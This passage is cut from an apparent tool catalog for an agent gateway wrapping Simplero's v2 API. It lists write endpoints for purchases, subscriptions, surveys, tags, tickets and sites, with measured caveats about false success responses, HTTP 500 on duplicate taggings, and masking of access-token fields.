/api/v2/purchases/{id}/actions/turn_on_auto_renew. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/turn_on_auto_renew. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_update_next_charge_on (write) — Update next charge on via POST /api/v2/purchases/{id}/actions/update_next_charge_on. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/update_next_charge_on. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_update_period_ends_at (write) — Update period ends at via POST /api/v2/purchases/{id}/actions/update_period_ends_at. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/update_period_ends_at. Scopes: api. simplero_post_api_v2_quiz_answers (write) — Create a quiz answer via POST /api/v2/quiz_answers. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/quiz_answers. Scopes: api. simplero_post_api_v2_quiz_answers_by_id_actions_resurrect (write) — Resurrect (quiz answers) via POST /api/v2/quiz_answers/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/quiz_answers/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_quiz_questions (write) — Create a quiz question via POST /api/v2/quiz_questions. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/quiz_questions. Scopes: api. simplero_post_api_v2_quiz_questions_by_id_actions_resurrect (write) — Resurrect (quiz questions) via POST /api/v2/quiz_questions/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/quiz_questions/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_scheduling_links (write) — Create a scheduling link via POST /api/v2/scheduling_links. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/scheduling_links. Scopes: api. simplero_post_api_v2_scheduling_links_by_id_actions_add_labels (write) — Add labels (scheduling links) via POST /api/v2/scheduling_links/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/scheduling_links/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_scheduling_links_by_id_actions_duplicate (write) — Duplicate (scheduling links) via POST /api/v2/scheduling_links/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/scheduling_links/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_scheduling_links_by_id_actions_remove_label (write) — Remove label (scheduling links) via POST /api/v2/scheduling_links/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/scheduling_links/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_scheduling_links_by_id_actions_star (write) — Star (scheduling links) via POST /api/v2/scheduling_links/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/scheduling_links/{id}/actions/star. Scopes: api. simplero_post_api_v2_scheduling_links_by_id_actions_unstar (write) — Unstar (scheduling links) via POST /api/v2/scheduling_links/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/scheduling_links/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_segments_by_id_actions_add_labels (write) — Add labels (segments) via POST /api/v2/segments/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/segments/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_segments_by_id_actions_duplicate (write) — Duplicate (segments) via POST /api/v2/segments/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/segments/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_segments_by_id_actions_refresh (write) — Refresh via POST /api/v2/segments/{id}/actions/refresh. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/segments/{id}/actions/refresh. Scopes: api. simplero_post_api_v2_segments_by_id_actions_remove_label (write) — Remove label (segments) via POST /api/v2/segments/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/segments/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_segments_by_id_actions_resurrect (write) — Resurrect (segments) via POST /api/v2/segments/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/segments/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_segments_by_id_actions_star (write) — Star (segments) via POST /api/v2/segments/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/segments/{id}/actions/star. Scopes: api. simplero_post_api_v2_segments_by_id_actions_unstar (write) — Unstar (segments) via POST /api/v2/segments/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/segments/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_site_comments_by_id_actions_approve (write) — Approve (site comments) via POST /api/v2/site_comments/{id}/actions/approve. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_comments/{id}/actions/approve. Scopes: api. simplero_post_api_v2_site_comments_by_id_actions_reject (write) — Reject (site comments) via POST /api/v2/site_comments/{id}/actions/reject. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_comments/{id}/actions/reject. Scopes: api. simplero_post_api_v2_site_comments_by_id_actions_reject_with_message (write) — Reject with message (site comments) via POST /api/v2/site_comments/{id}/actions/reject_with_message. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/site_comments/{id}/actions/reject_with_message. Scopes: api. simplero_post_api_v2_site_comments_by_id_actions_resurrect (write) — Resurrect (site comments) via POST /api/v2/site_comments/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_comments/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_site_comments_by_id_actions_send_to_linear (write) — Send to Linear (site comments) via POST /api/v2/site_comments/{id}/actions/send_to_linear. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_comments/{id}/actions/send_to_linear. Scopes: api. simplero_post_api_v2_site_redirects (write) — Create a redirect via POST /api/v2/site_redirects. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/site_redirects. Scopes: api. simplero_post_api_v2_site_redirects_by_id_actions_make_permanent (write) — Make permanent via POST /api/v2/site_redirects/{id}/actions/make_permanent. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_redirects/{id}/actions/make_permanent. Scopes: api. simplero_post_api_v2_site_redirects_by_id_actions_make_temporary (write) — Make temporary via POST /api/v2/site_redirects/{id}/actions/make_temporary. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/site_redirects/{id}/actions/make_temporary. Scopes: api. simplero_post_api_v2_sites (write) — Create a site via POST /api/v2/sites. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/sites. Scopes: api. simplero_post_api_v2_sites_by_id_actions_add_labels (write) — Add labels (sites) via POST /api/v2/sites/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/sites/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_sites_by_id_actions_disable_chat_bot (write) — Disable AI search and interactions via POST /api/v2/sites/{id}/actions/disable_chat_bot. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/disable_chat_bot. Scopes: api. simplero_post_api_v2_sites_by_id_actions_enable_chat_bot (write) — Enable AI search and interactions via POST /api/v2/sites/{id}/actions/enable_chat_bot. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/enable_chat_bot. Scopes: api. simplero_post_api_v2_sites_by_id_actions_grant_access (write) — Add member via POST /api/v2/sites/{id}/actions/grant_access. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/sites/{id}/actions/grant_access. Scopes: api. simplero_post_api_v2_sites_by_id_actions_reindex (write) — Reindex via POST /api/v2/sites/{id}/actions/reindex. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/reindex. Scopes: api. simplero_post_api_v2_sites_by_id_actions_remove_label (write) — Remove label (sites) via POST /api/v2/sites/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/sites/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_sites_by_id_actions_resurrect (write) — Resurrect (sites) via POST /api/v2/sites/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_sites_by_id_actions_star (write) — Star (sites) via POST /api/v2/sites/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/star. Scopes: api. simplero_post_api_v2_sites_by_id_actions_unstar (write) — Unstar (sites) via POST /api/v2/sites/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/sites/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_steps (write) — Create a automation step via POST /api/v2/steps. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/steps. Scopes: api. simplero_post_api_v2_steps_by_id_actions_move (write) — Move (steps) via POST /api/v2/steps/{id}/actions/move. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/steps/{id}/actions/move. Scopes: api. simplero_post_api_v2_steps_by_id_actions_resurrect (write) — Resurrect (steps) via POST /api/v2/steps/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/steps/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_disassociate_from_funnel (write) — Disassociate from funnel (subscriptions) via POST /api/v2/subscriptions/{id}/actions/disassociate_from_funnel. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/disassociate_from_funnel. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_force_activate (write) — Force activate via POST /api/v2/subscriptions/{id}/actions/force_activate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/force_activate. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_remove_affiliate (write) — Remove Affiliate for List Subscriber via POST /api/v2/subscriptions/{id}/actions/remove_affiliate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/remove_affiliate. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_request_confirmation (write) — Resend email asking for confirmation via POST /api/v2/subscriptions/{id}/actions/request_confirmation. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/request_confirmation. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_resend_welcome (write) — Resend welcome email via POST /api/v2/subscriptions/{id}/actions/resend_welcome. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/resend_welcome. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_resubscribe (write) — Resubscribe via POST /api/v2/subscriptions/{id}/actions/resubscribe. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/resubscribe. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_resume (write) — Resume (subscriptions) via POST /api/v2/subscriptions/{id}/actions/resume. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/resume. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_set_affiliate (write) — Set Affiilate for List Subscriber via POST /api/v2/subscriptions/{id}/actions/set_affiliate. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/set_affiliate. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_set_auto_responder_start_at (write) — Set auto responder start at (subscriptions) via POST /api/v2/subscriptions/{id}/actions/set_auto_responder_start_at. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/set_auto_responder_start_at. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_suspend (write) — Suspend via POST /api/v2/subscriptions/{id}/actions/suspend. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/suspend. Scopes: api. simplero_post_api_v2_subscriptions_by_id_actions_unsubscribe (write, destructive) — Unsubscribe via POST /api/v2/subscriptions/{id}/actions/unsubscribe. Answers {"data": {...}}. DESTRUCTIVE: Unsubscribe. POST /api/v1/simplero/api/v2/subscriptions/{id}/actions/unsubscribe. Scopes: api. simplero_post_api_v2_survey_responses (write) — Create a survey response via POST /api/v2/survey_responses. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/survey_responses. Scopes: api. simplero_post_api_v2_survey_responses_by_id_actions_add_to_conversation (write) — Add to conversation (survey responses) via POST /api/v2/survey_responses/{id}/actions/add_to_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/survey_responses/{id}/actions/add_to_conversation. Scopes: api. simplero_post_api_v2_survey_responses_by_id_actions_associate_contact (write) — Associate with Contact via POST /api/v2/survey_responses/{id}/actions/associate_contact. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/survey_responses/{id}/actions/associate_contact. Scopes: api. simplero_post_api_v2_survey_responses_by_id_actions_disassociate_from_funnel (write) — Disassociate from funnel (survey responses) via POST /api/v2/survey_responses/{id}/actions/disassociate_from_funnel. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/survey_responses/{id}/actions/disassociate_from_funnel. Scopes: api. simplero_post_api_v2_survey_responses_by_id_actions_post_to_conversation (write) — Post message to conversation (survey responses) via POST /api/v2/survey_responses/{id}/actions/post_to_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/survey_responses/{id}/actions/post_to_conversation. Scopes: api. simplero_post_api_v2_surveys (write) — Create a survey via POST /api/v2/surveys. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/surveys. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_add_labels (write) — Add labels (surveys) via POST /api/v2/surveys/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/surveys/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_duplicate (write) — Duplicate (surveys) via POST /api/v2/surveys/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/surveys/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_remove_label (write) — Remove label (surveys) via POST /api/v2/surveys/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/surveys/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_resurrect (write) — Resurrect (surveys) via POST /api/v2/surveys/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/surveys/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_star (write) — Star (surveys) via POST /api/v2/surveys/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/surveys/{id}/actions/star. Scopes: api. simplero_post_api_v2_surveys_by_id_actions_unstar (write) — Unstar (surveys) via POST /api/v2/surveys/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/surveys/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_taggings (write) — Create a tagged contact via POST /api/v2/taggings. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. A DUPLICATE tagging answers HTTP 500, not 409 or 422. MEASURED 2026-09-24: the first POST with a given {tag_id, customer_id} pair answers 200 with the tagging; repeating it answers 500 {"alert":"An error occurred. We're so sorry. Please try again."}. So a 500 from this one tool is very likely a tag the contact already has rather than an outage -- read GET /api/v2/taggings before retrying, and use POST /api/v2/customers/{id}/actions/add_tag if you only want the tag to end up present. POST /api/v1/simplero/api/v2/taggings. Scopes: api. simplero_post_api_v2_tags (write) — Create a tag via POST /api/v2/tags. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/tags. Scopes: api. simplero_post_api_v2_tags_by_id_actions_add_labels (write) — Add labels (tags) via POST /api/v2/tags/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tags/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_tags_by_id_actions_remove_label (write) — Remove label (tags) via POST /api/v2/tags/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tags/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_tags_by_id_actions_rename (write) — Rename via POST /api/v2/tags/{id}/actions/rename. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tags/{id}/actions/rename. Scopes: api. simplero_post_api_v2_tags_by_id_actions_star (write) — Star (tags) via POST /api/v2/tags/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tags/{id}/actions/star. Scopes: api. simplero_post_api_v2_tags_by_id_actions_unstar (write) — Unstar (tags) via POST /api/v2/tags/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tags/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_testimonials (write) — Create a testimonial via POST /api/v2/testimonials. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/testimonials. Scopes: api. simplero_post_api_v2_testimonials_by_id_actions_add_labels (write) — Add labels (testimonials) via POST /api/v2/testimonials/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/testimonials/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_testimonials_by_id_actions_publish (write) — Publish (testimonials) via POST /api/v2/testimonials/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/testimonials/{id}/actions/publish. Scopes: api. simplero_post_api_v2_testimonials_by_id_actions_remove_label (write) — Remove label (testimonials) via POST /api/v2/testimonials/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/testimonials/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_testimonials_by_id_actions_unpublish (write) — Unpublish (testimonials) via POST /api/v2/testimonials/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/testimonials/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_ticket_comments (write) — Create a ticket comment via POST /api/v2/ticket_comments. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/ticket_comments. Scopes: api. simplero_post_api_v2_ticket_comments_by_id_actions_resurrect (write) — Resurrect (ticket comments) via POST /api/v2/ticket_comments/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/ticket_comments/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_tickets (write) — Create a ticket via POST /api/v2/tickets. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/tickets. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_add_comment (write) — Add comment via POST /api/v2/tickets/{id}/actions/add_comment. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/add_comment. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_add_facet (write) — Add a facet via POST /api/v2/tickets/{id}/actions/add_facet. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/add_facet. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_add_facet_values (write) — Add facet values (tickets) via POST /api/v2/tickets/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_assign_to_me (write) — Assign to me (tickets) via POST /api/v2/tickets/{id}/actions/assign_to_me. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/assign_to_me. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_close_silently (write) — Close without requesting a review via POST /api/v2/tickets/{id}/actions/close_silently. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/close_silently. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_exclude_from_csat (write) — Exclude from CSAT reporting via POST /api/v2/tickets/{id}/actions/exclude_from_csat. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/exclude_from_csat. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_mark_read (write) — Mark as read by assignee via POST /api/v2/tickets/{id}/actions/mark_read. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/mark_read. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_mark_unread (write) — Mark as unread by assignee via POST /api/v2/tickets/{id}/actions/mark_unread. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/mark_unread. Scopes: api. 